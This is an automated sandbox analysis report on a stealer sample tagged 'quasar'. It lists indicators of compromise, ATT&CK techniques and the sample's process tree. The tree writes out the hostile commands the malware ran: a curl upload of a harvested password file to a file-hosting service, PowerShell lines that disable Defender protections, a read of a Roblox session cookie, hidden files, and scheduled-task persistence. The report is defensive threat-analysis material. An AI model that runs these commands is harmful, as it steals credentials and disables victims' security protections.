quasar | hxxps://gofile[.]io/d/8TAaKK

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	background_script.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	Backround.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	Backround.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	background_script.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	Backround.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	background_script.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftTeams.exe	MicrosoftTeams.exe

Executes dropped EXE 19 IoCs

pid	Process
2776	background_script.exe
2972	background_script.exe
3212	background_script.exe
4732	background_script.exe
452	background_script.exe
4348	background_script.exe
1864	Backround.exe
684	MicrosoftTeams.exe
2488	Skype.exe
5072	Steam.exe
2568	MicrosoftTeams.exe
4368	Steam.exe
4932	Backround.exe
3928	Backround.exe
2584	MicrosoftTeams.exe
4036	MicrosoftTeams.exe
4328	Skype.exe
4024	Skype.exe
3940	Steam.exe

Loads dropped DLL 64 IoCs

pid	Process
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
2972	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4732	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
4348	background_script.exe
2568	MicrosoftTeams.exe
2568	MicrosoftTeams.exe
2568	MicrosoftTeams.exe
2568	MicrosoftTeams.exe
2568	MicrosoftTeams.exe
2568	MicrosoftTeams.exe
2568	MicrosoftTeams.exe
2568	MicrosoftTeams.exe
2568	MicrosoftTeams.exe
2568	MicrosoftTeams.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
118	discord.com
117	discord.com

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
98	ip-api.com
104	api.ipify.org
105	api.ipify.org
133	api.ipify.org
134	api.ipify.org

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5000	cmd.exe

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\%appdata%	Steam.exe
File created	C:\Program Files\%appdata%\Steam.exe	Steam.exe
File opened for modification	C:\Program Files\%appdata%\Steam.exe	Steam.exe
File opened for modification	C:\Program Files\%appdata%	Steam.exe
File opened for modification	C:\Program Files\%appdata%\Steam.exe	Steam.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 2 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000d00000002341e-67.dat	pyinstaller
behavioral1/files/0x00080000000235fa-418.dat	pyinstaller

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral1/files/0x00070000000237a0-914.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Backround.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Backround.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Backround.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
316	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133662601200680508"	chrome.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4208	schtasks.exe
3920	schtasks.exe
1640	schtasks.exe
2920	schtasks.exe
1812	schtasks.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
3328	chrome.exe
3328	chrome.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
2488	Skype.exe
2488	Skype.exe
4824	powershell.exe
4824	powershell.exe
4824	powershell.exe
616	powershell.exe
616	powershell.exe
616	powershell.exe
2984	powershell.exe
2984	powershell.exe
2984	powershell.exe
2344	powershell.exe
2344	powershell.exe
2344	powershell.exe
2876	powershell.exe
2876	powershell.exe
2876	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeShutdownPrivilege	3328	chrome.exe
Token: SeCreatePagefilePrivilege	3328	chrome.exe
Token: SeIncreaseQuotaPrivilege	1900	WMIC.exe
Token: SeSecurityPrivilege	1900	WMIC.exe
Token: SeTakeOwnershipPrivilege	1900	WMIC.exe
Token: SeLoadDriverPrivilege	1900	WMIC.exe
Token: SeSystemProfilePrivilege	1900	WMIC.exe
Token: SeSystemtimePrivilege	1900	WMIC.exe
Token: SeProfSingleProcessPrivilege	1900	WMIC.exe
Token: SeIncBasePriorityPrivilege	1900	WMIC.exe
Token: SeCreatePagefilePrivilege	1900	WMIC.exe
Token: SeBackupPrivilege	1900	WMIC.exe
Token: SeRestorePrivilege	1900	WMIC.exe
Token: SeShutdownPrivilege	1900	WMIC.exe
Token: SeDebugPrivilege	1900	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1900	WMIC.exe
Token: SeRemoteShutdownPrivilege	1900	WMIC.exe
Token: SeUndockPrivilege	1900	WMIC.exe
Token: SeManageVolumePrivilege	1900	WMIC.exe
Token: 33	1900	WMIC.exe
Token: 34	1900	WMIC.exe
Token: 35	1900	WMIC.exe
Token: 36	1900	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1900	WMIC.exe
Token: SeSecurityPrivilege	1900	WMIC.exe
Token: SeTakeOwnershipPrivilege	1900	WMIC.exe
Token: SeLoadDriverPrivilege	1900	WMIC.exe
Token: SeSystemProfilePrivilege	1900	WMIC.exe
Token: SeSystemtimePrivilege	1900	WMIC.exe
Token: SeProfSingleProcessPrivilege	1900	WMIC.exe
Token: SeIncBasePriorityPrivilege	1900	WMIC.exe
Token: SeCreatePagefilePrivilege	1900	WMIC.exe
Token: SeBackupPrivilege	1900	WMIC.exe
Token: SeRestorePrivilege	1900	WMIC.exe
Token: SeShutdownPrivilege	1900	WMIC.exe
Token: SeDebugPrivilege	1900	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe

Suspicious use of SendNotifyMessage 56 IoCs

pid	Process
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3328	chrome.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
3940	taskmgr.exe
4368	Steam.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4368	Steam.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3328 wrote to memory of 392	3328	chrome.exe	87
PID 3328 wrote to memory of 392	3328	chrome.exe	87
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 4300	3328	chrome.exe	88
PID 3328 wrote to memory of 2000	3328	chrome.exe	89
PID 3328 wrote to memory of 2000	3328	chrome.exe	89
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90
PID 3328 wrote to memory of 2860	3328	chrome.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1856	attrib.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://gofile.io/d/8TAaKK
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffd23becc40,0x7ffd23becc4c,0x7ffd23becc58
  2⤵
  PID:392
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1964,i,1650671310178001080,1978435485053094622,262144 --variations-seed-version=20240708-180128.343000 --mojo-platform-channel-handle=1892 /prefetch:2
  2⤵
  PID:4300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2148,i,1650671310178001080,1978435485053094622,262144 --variations-seed-version=20240708-180128.343000 --mojo-platform-channel-handle=2172 /prefetch:3
  2⤵
  PID:2000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2228,i,1650671310178001080,1978435485053094622,262144 --variations-seed-version=20240708-180128.343000 --mojo-platform-channel-handle=2396 /prefetch:8
  2⤵
  PID:2860
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3104,i,1650671310178001080,1978435485053094622,262144 --variations-seed-version=20240708-180128.343000 --mojo-platform-channel-handle=3124 /prefetch:1
  2⤵
  PID:4540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3112,i,1650671310178001080,1978435485053094622,262144 --variations-seed-version=20240708-180128.343000 --mojo-platform-channel-handle=3168 /prefetch:1
  2⤵
  PID:3012
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3996,i,1650671310178001080,1978435485053094622,262144 --variations-seed-version=20240708-180128.343000 --mojo-platform-channel-handle=3856 /prefetch:1
  2⤵
  PID:2176
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4112,i,1650671310178001080,1978435485053094622,262144 --variations-seed-version=20240708-180128.343000 --mojo-platform-channel-handle=4800 /prefetch:8
  2⤵
  PID:912
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3824,i,1650671310178001080,1978435485053094622,262144 --variations-seed-version=20240708-180128.343000 --mojo-platform-channel-handle=4828 /prefetch:1
  2⤵
  PID:4184
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5112,i,1650671310178001080,1978435485053094622,262144 --variations-seed-version=20240708-180128.343000 --mojo-platform-channel-handle=5084 /prefetch:8
  2⤵
  PID:4556
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5068,i,1650671310178001080,1978435485053094622,262144 --variations-seed-version=20240708-180128.343000 --mojo-platform-channel-handle=5264 /prefetch:8
  2⤵
  PID:4528
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4612,i,1650671310178001080,1978435485053094622,262144 --variations-seed-version=20240708-180128.343000 --mojo-platform-channel-handle=5100 /prefetch:8
  2⤵
  PID:4668
- C:\Users\Admin\Downloads\background_script.exe
  "C:\Users\Admin\Downloads\background_script.exe"
  2⤵
  - Executes dropped EXE
  PID:2776
- - C:\Users\Admin\Downloads\background_script.exe
    "C:\Users\Admin\Downloads\background_script.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2972
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:2068
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic bios get serialnumber"
      4⤵
      PID:2344
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get serialnumber
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1900
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /f /tn MyBackgroundScript /tr "\"C:\Users\Admin\AppData\Local\Temp\_MEI27762\pythonw.exe\" \"C:\Users\Admin\AppData\Roaming\MyBackgroundScript\background_script.exe\"" /sc onlogon /rl HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4208
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib +h Backround.exe"
      4⤵
      Hide Artifacts: Hidden Files and Directories
      PID:5000
    - - C:\Windows\system32\attrib.exe
        
        attrib +h Backround.exe
        5⤵
        Views/modifies file attributes
        
        PID:1856
  - - C:\Users\Admin\Downloads\Backround.exe
      "C:\Users\Admin\Downloads\Backround.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1864
    - - C:\Users\Admin\AppData\Local\Temp\MicrosoftTeams.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftTeams.exe"
        5⤵
        Executes dropped EXE
        
        PID:684
      - C:\Users\Admin\AppData\Local\Temp\MicrosoftTeams.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftTeams.exe"
        6⤵
        Drops startup file
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2568
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        7⤵
        
        PID:5088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store4.gofile.io/uploadFile"
        7⤵
        
        PID:2016
        
        C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store4.gofile.io/uploadFile
        8⤵
        
        PID:2216
    - - C:\Users\Admin\AppData\Local\Temp\Skype.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Skype.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2488
      - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        6⤵
        
        PID:4832
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Skype.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4824
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:616
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2984
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2344
      - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        6⤵
        
        PID:3052
      - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        6⤵
        
        PID:4292
      - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        6⤵
        
        PID:3396
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2876
      - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:316
    - - C:\Users\Admin\AppData\Local\Temp\Steam.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Steam.exe"
        5⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:5072
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "SteamClient" /sc ONLOGON /tr "C:\Program Files\%appdata%\Steam.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2920
      - C:\Program Files\%appdata%\Steam.exe
        
        "C:\Program Files\%appdata%\Steam.exe"
        6⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:4368
        
        C:\Windows\SYSTEM32\schtasks.exe
        
